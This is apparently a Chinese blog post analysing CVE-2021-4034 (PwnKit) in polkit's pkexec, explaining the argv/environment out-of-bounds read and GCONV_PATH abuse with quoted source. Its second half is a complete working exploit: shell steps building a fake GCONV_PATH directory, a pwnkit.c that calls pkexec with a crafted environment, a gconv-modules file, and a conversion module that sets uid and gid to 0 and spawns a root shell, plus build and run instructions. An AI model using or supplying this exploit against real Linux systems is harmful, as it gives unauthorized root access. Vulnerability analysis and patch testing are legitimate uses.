简介

一个隐藏了12年的危险漏洞,利用的是polki的pkexec,它是一个 SUID 根程序,默认安装在每个主要的 Linux 发行版

Null

当你在linux下要查看文件时,运行列如像cat这样的程序,并提供test.txt作为参数

所以整个参数数组看起来如下:

cat test.txt0    1

cat是第一个参数索引’0’,第一个参数通常是程序本身的名称,在我们的例子中它是cat
第二个参数是我们刚刚提供带有索引’1’的test.txt的文件名,这些都是字符串

但是在内存中,过程看起来像这样

0|1|2|…|0|1|2…args    env

因此你有一堆参数堆叠在一个地方,然后环境变量就在它旁边,所以首先是参数列表,然后是环境变量列表
那么考虑一个问题,真正将参数与环境变量区分开来的,比如这里真正的边界是什么?
这是一个重要的问题,因为内存是连续的,所以必须有一个明确的边界

0|1|2|null|0|1|2…args       env

如果参数最后一个元素为null,这意味着是参数结束的地方和环境变量开始的地方

cat test.txt null0    1       2

这是我们之前cat的示例,这里数组的第三个元素就是null,这就是参数结束的地方和环境变量开始的地方

漏洞原理

https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L481

首先查看pkexec中的源代码

for (n = 1; n < (guint) argc; n++)                   /这是一个循环,从变量n设置为1开始{if (strcmp (argv[n], "--help") == 0)             /然后它会检查在运行时提供给pkexec程序的参数{opt_show_help = TRUE;}else if (strcmp (argv[n], "--version") == 0){opt_show_version = TRUE;}else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0){n++;if (n >= (guint) argc){usage (argc, argv);goto out;}

一直到下面第536行

g_assert (argv[argc] == NULL);     path = g_strdup (argv[n]);         /读取第N个参数,并将其设置为变量路径if (path == NULL){usage (argc, argv);goto out;}if (path[0] != '/'){/* g_find_program_in_path() is not suspectible to attacks via the environment */s = g_find_program_in_path (path);if (s == NULL){g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));goto out;}g_free (path);argv[n] = path = s;             /它读取程序的路径并将其设置回来到参数数组}if (access (path, F_OK) != 0)

看完这两段代码,你就会发现一个问题

null|…|…|…|args

如果第一个元素是null,会发生什么,带着这个问题,我们再次回到源代码中看一遍

for (n = 1; n < (guint) argc; n++)     /最初n从这个循环中变为1,因为它与任何情况都不匹配,在值n设置为1的情况下打破这个循环
{……
}……path = g_strdup(argv[n]);      //在这里,他试图读取n的参数,我们知道n现在的参数为1,但我们第0个数组是null,这意味这参数应该在那里结束,但这行代码仍在尝试读取超出范围的内容,因此当它超出范围时,读取的内容为环境变量,前面我们说过,null结束后就是环境变量的开始,所以在这里,当它尝试读取第二个参数时,实际上读取的是环境变量……if (path[0] != '/')     /如果没有路径变量
{s = g_find_program_in_path(path);    /则越界读取'不以正斜杠开头'……argv[n] = path =s;      /在这里回到n的路径
}

这是一个越界,所以现在我们可以用某种方式利用这些,比如我们可以将如何环境变量注入到进程中

利用

我们可以在启动过程时添加一个环境变量,它们被称为’unsercure env vars’不安全的环境变量

https://code.woboq.org/userspace/glibc/sysdeps/generic/unsecvars.h.html


例如LD_preload,这样的环境变量会在uid程序上为用户运行的程序自动过滤的环境变量

https://code.woboq.org/userspace/glibc/elf/dl-support.c.html#348


如果它们没有被过滤,那么将是一个简单的权限提升,但linux知道这些攻击,因此从父进程到子进程限制了一些环境变量的传递
所以我们不能真正注入所有类型的环境变量,但由于我们有pkexec程序里的

argv[n] = path =s

我们可以使用它来注入不安全的环境变量,但在这之后有一个小问题,他调用clear env

  if (clearenv () != 0)       /清除每个环境变量{g_printerr ("Error clearing environment: %s\n", g_strerror (errno));goto out;}/* Initialize the GLib type system - this is needed to interact with the* PolicyKit daemon*/g_type_init ();/* make sure we are nuked if the parent process dies */
#ifdef __linux__if (prctl (PR_SET_PDEATHSIG, SIGTERM) != 0){g_printerr ("prctl(PR_SET_PDEATHSIG, SIGTERM) failed: %s\n", g_strerror (errno));goto out;}

这意味着我们需要找到一种方法来执行代码,从代码越界的地方开始执行到它清除所有环境变量之前
所以让我们再次在程序越界之后看一下代码

if (!validate_environment_variable (key, value))    /它调用了验证环境变量的函数goto out;g_ptr_array_add (saved_env, g_strdup (key));g_ptr_array_add (saved_env, g_strdup (value));}

在这个函数内部有一个对g_print错误的条件调用

if (g_strcmp0 (key, "SHELL") == 0){/* check if it's in /etc/shells */if (!is_valid_shell (value)){log_message (LOG_CRIT, TRUE,"The value for the SHELL variable was not found the /etc/shells file");g_printerr ("\n""This incident has been reported.\n");           /错误条件调用的地方goto out;}}else if ((g_strcmp0 (key, "XAUTHORITY") != 0 && strstr (value, "/") != NULL) ||strstr (value, "%") != NULL ||strstr (value, "..") != NULL){log_message (LOG_CRIT, TRUE,"The value for environment variable %s contains suscipious content",key);g_printerr ("\n""This incident has been reported.\n");         /错误条件调用的地方goto out;}

g_print这个函数有点重要,它可以帮助我们获得权限提升
这就是这个g_print错误函数通常的打印utf8错误消息的方式

但如果不是utf-8字符,他实际上会调用另一个函数,尝试使用转换模块将错误的utf-8字符转换为正确的

所以这里是关键的地方,我们需要完全控制这个转换模块
想法是
我们设置一个utf-8以外的东西,触发一个错误的判断,然后就会调用一个转换模块,我们可以使用一个名为gconv_path的环境变量来指定它,这个ICONV_OPEN函数会查看环境变量并从那里获取我们恶意的转换模块,一旦成功传输了我们的转换模块,它会尝试执行转换字符集,但实际上它是在执行我们的恶意代码,更重要的是,它是以root的身份执行的

利用脚本

首先我们先创建一个名为GCONV_PATH的目录

mkdir 'GCONV_PATH=.'

然后并在其中放在一个名为pwn的文件

touch GCONV_PATH\=./pwn


然后赋予pwn文件的执行权限

chmod +x pwn

然后新建一个文件

touch pwnkit.c

写入以下的代码

#include <unistd.h>int main() {char *argv[] = { NULL };char *envp[] = {"pwn","TERM=..","PATH=GCONV_PATH=.","CHARSET=BRUH",NULL};execve("/usr/bin/pkexec", argv, envp);  return 0;
}

解释

int main() {char *argv[] = { NULL };char *envp[] = {"pwn",               /我们将第一个环境变量设置pwn"TERM=..",       /这里会触发g_print打印错误"PATH=GCONV_PATH=.",            /然后环境变量等于GCONV_PATH"CHARSET=BRUH",          /设置为bruh来触发认为这不是utf-8的判断,并且它会尝试进行转换NULL};execve("/usr/bin/pkexec", argv, envp);    return 0;
}

创建一个名为phone的目录

mkdir phone

然后再在phone目录下创建pwn目录

mkdir pwn

创建一个名为gconv-modules的模块

写入

echo 'module  UTF-8//    BRUH//    conversion-mod   1' > gconv-modules


然后再创建一个名为conversion-mod.c的文件

touch conversion-mod.c

然后写入

#define _GNU_SOURCE
#include <unistd.h>
#include <gconv.h>int gconv_init() {setuid(0);setgid(0);char *args[] = {"sh", NULL};char *envp[] = {"PATH=/bin:/usr/bin:/sbin", NULL};execvpe("/bin/sh", args, envp);return(__GCONV_OK);
}int  gconv(){ return(__GCONV_OK); }

解释

#define _GNU_SOURCE
#include <unistd.h>
#include <gconv.h>int gconv_init() {setuid(0);        setgid(0);            /都设置为零的意思是rootchar *args[] = {"sh", NULL};char *envp[] = {"PATH=/bin:/usr/bin:/sbin", NULL};execvpe("/bin/sh", args, envp);     /创建一个简单的shellreturn(__GCONV_OK);
}int  gconv(){ return(__GCONV_OK); }

最后用gcc编译所有的c文件
然后运行pwnkit文件

或者下载

https://github.com/PwnFunction/CVE-2021-4034

在文件目录输入命令

make all


然后运行pwnlit文件

总结

避免被利用的方式是更新polkit,这篇文章写了一天,欢迎大家来关注我,之后也会写很多类似的分析文章

【CVE-2021-4034】 漏洞详细原理以及复现,polkit的pkexec中的本地提权漏洞相关推荐

  1. Dirty Pipe – Linux 内核本地提权漏洞

    一.漏洞简介 CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞.攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root ...

  2. 【CVE-2021-4043】Linux本地提权漏洞复现

    实验步骤 文章目录 实验步骤 CVE-2021-4043 Linux本地提权漏洞 实验背景 实验环境 漏洞复现 构造payload 用gcc编译后上传到阿里云 执行payload 漏洞修复 CVE-2 ...

  3. sqlite字段是否存在_【漏洞预警】Linux内核存在本地提权漏洞(CVE20198912)

    更多资讯和分析文章请关注启明星辰ADLab微信公众号及官方网站(adlab.venustech.com.cn) 漏洞背景 近日,Linux git中发布一个commit补丁,该补丁对应的漏洞是一个本地 ...

  4. 2019最有意思的五大 ZDI 案例之:通过调色板索引实现 Win32k.sys 本地提权漏洞 (下)...

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 本文是趋势科技 ZDI 项目推出的第二届年度最有意思的五大案例系列文章之一.他们从1000多份安全公告中遴选出这些案例,奇安信代码卫士 ...

  5. 2019最有意思的五大 ZDI 案例之:通过调色板索引实现 Win32k.sys 本地提权漏洞(上)...

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 本文是趋势科技 ZDI 项目推出的第二届年度最有意思的五大案例系列文章之一.他们从1000多份安全公告中遴选出这些案例,奇安信代码卫士 ...

  6. CVE-2016-1240 Tomcat 服务本地提权漏洞

    catalogue 1. 漏洞背景 2. 影响范围 3. 漏洞原理 4. 漏洞PoC 5. 修复方案 1. 漏洞背景 Tomcat是个运行在Apache上的应用服务器,支持运行Servlet/JSP应 ...

  7. win10注入漏洞跳出计算机,win10操作系统本地提权漏洞

    2018年8月27日,安全研究人员在github上公布了最新的win10x64版的本地提权漏洞,并且在推特上对其提权的demo进行了演示.在github上的SandboxEscaper上有着完整的漏洞 ...

  8. Microsoft Windows Win32k本地提权漏洞分析

    漏洞信息 1 漏洞简介 漏洞名称:Microsoft Windows Win32k本地提权漏洞 漏洞编号:CVE-2015-2546 漏洞类型:UAF 影响范围:Windows 7 Service P ...

  9. 【经典漏洞回顾】Microsoft Windows Win32k本地提权漏洞分析(CVE-2015-0057)

    漏洞信息 1 漏洞简介 漏洞名称:Microsoft Windows Win32k本地提权漏洞 漏洞编号:CVE-2015-0057 漏洞类型:UAF 影响范围:Windows Server 2003 ...

最新文章

  1. 正面反击 Google、FB 等巨头,万维网之父携 Solid 归来
  2. linux 服务不支持 chkconfig 的解决方法
  3. 青龙羊毛——去闲转(教程)
  4. 【STM32】RTC相关函数和类型
  5. jps显示当前所有java进程pid
  6. 【渝粤教育】国家开放大学2018年秋季 0692-22T化工设备机械基础 参考试题
  7. c语言文件指针ab命令,C语言试题,~库(完整版~).doc
  8. leetcode 395. 至少有 K 个重复字符的最长子串(滑动窗口)
  9. Java IO 系统
  10. python通讯录运用的知识点_案例驱动式Python学习--通讯录存取
  11. java long常量池_Java提高篇之常量池
  12. ubuntu14.04 mysql5.6_ubuntu14.04编译安装mysql5.6.28
  13. k8s架构以及相关概念普及
  14. GNU make manual 翻译( 一百四十)
  15. 马士兵AI人工智能工程师
  16. 【数学模型】银行贷款计算系统含Matlab源码
  17. 矩阵的 Jordan 标准型
  18. 推荐一款适合苹果电脑小白使用的BT下载器
  19. 数据错误循环冗余检查是什么意思_磁盘阵列是什么,用在什么地方,有什么优点...
  20. springboot毕设项目水族馆观光网站e8iy4(java+VUE+Mybatis+Maven+Mysql)

热门文章

  1. python计算利率贷款_python 贷款利息计算公式
  2. 利用CMake编译OpenCV-4.1.2源码,使其可以在VS2012下进行图像处理开发的记录(因缺少OpenBLAS未成功)
  3. BI神器Power Query(10)-- PQ从文件夹导入数据
  4. symmetric tree java_Symmetric Tree对称树
  5. 联想win8系统改成win7系统教程,win8系统如何装回win7
  6. android开发百度地图步行导航
  7. Neo4J入门笔记[2]---Neo4J GDS 图数据科学库
  8. CUDA计算能力的含义和计算能力表格
  9. 第2章第19节:如何在幻灯片中使用书法艺术文字 [PowerPoint精美幻灯片实战教程]
  10. OSChina 周日乱弹 ——苟富贵,勿相忘。